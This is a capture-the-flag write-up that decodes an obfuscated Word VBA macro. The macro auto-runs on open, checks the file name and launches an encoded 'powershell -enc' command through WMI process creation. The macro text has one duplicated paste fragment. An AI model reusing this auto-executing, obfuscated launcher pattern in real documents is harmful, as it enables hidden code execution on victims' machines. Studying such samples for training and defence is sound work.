Home >

Huntress CTF > Medium Challenges

Back <> Next

We found this file as part of an attack chain that seemed to manipulate file contents to stage a payload. Can you make any sense of it?

For this challenge we are given the file “tragedy_redux.7z” to download, and told the password is ‘infected’.

Note: Tragedy began with tragedy…In the original version of this challenge, once you unzipped the file the flag.txt was immediately readable. They Fixed the error and re-released the challenge as ’tragedy-redux'.

Once you extract the file, you are given the file ’tragedy_redux’. Running the file command on this reveals that it is still a compressed archive, so you need to unzip it again:

unzip tragedy_redux

This will leave you with several files and directories to sift through. Eventually, we came across a file ‘vbaProject.bin’ which we were able to parse using olevba from Didlier Stevens.

sudo -H pip install -U oletools[full]

Then

olevba vbaProject.bin

From this, we get a VBA macro:

VBA MACRO NewMacros.bas 
in file: vbaProject.bin - OLE stream: 'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Function Pears(Beets)
    Pears = Chr(Beets - 17)
End Function

Function SVBA MACRO NewMacros.bas 
in file: vbaProject.bin - OLE stream: 'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Function Pears(Beets)
    Pears = Chr(Beets - 17)
End Function

Function Strawberries(Grapes)
    Strawberries = Left(Grapes, 3)
End Function

Function Almonds(Jelly)
    Almonds = Right(Jelly, Len(Jelly) - 3)
End Function

Function Nuts(Milk)
    Do
    OatMilk = OatMilk + Pears(Strawberries(Milk))
    Milk = Almonds(Milk)
    Loop While Len(Milk) > 0
    Nuts = OatMilk
End Function
Function Bears(Cows)
    Bears = StrReverse(Cows)
End Function

Function Tragedy()
    
    Dim Apples As String
    Dim Water As String

    If ActiveDocument.Name <> Nuts("131134127127118131063117128116") Then
        Exit Function
    End If
    
    Apples = "129128136118131132121118125125049062118127116049091088107132106104116074090126107132106104117072095123095124106067094069094126094139094085086070095139116067096088106065107085098066096088099121094101091126095123086069106126095074090120078078"
    Water = Nuts(Apples)


    GetObject(Nuts("136122127126120126133132075")).Get(Nuts("104122127068067112097131128116118132132")).Create Water, Tea, Coffee, Napkin

End Function

Sub AutoOpen()
    Tragedy
End Sub

The script automatically executes the Tragedy function within the AutoOpen() subroutine when the document is opened. At a high level, it checks for a specific document name, assigns a long string to variable Apples, then feeds Apples to a series of nested functions that decode the string into readable output that would contain the flag.

Running this script as-is was tedious due to its checks and difficulties in setting up the correct environment. Eventually, we identified its core logic and simplified the code enoough to be able to run reliably and with ease:

Module VBModule
    Sub Main()
        Dim Milk As String
        Dim Oatmilk As String
        Milk = "129128136118131132121118125125049062118127116049091088107132106104116074090126107132106104117072095123095124106067094069094126094139094085086070095139116067096088106065107085098066096088099121094101091126095123086069106126095074090120078078"
        Do
        Oatmilk = Oatmilk + Chr((Left(Milk, 3)) - 17)
        Milk = Right(Milk, Len(Milk) - 3)
        Loop While Len(Milk) > 0
        Console.WriteLine(Oatmilk)
    End Sub
End Module

We utilized an online compiler, and recieved an output that was base64 encoded. We decoded the output and retrieved the flag!

tragedy

Back <> Next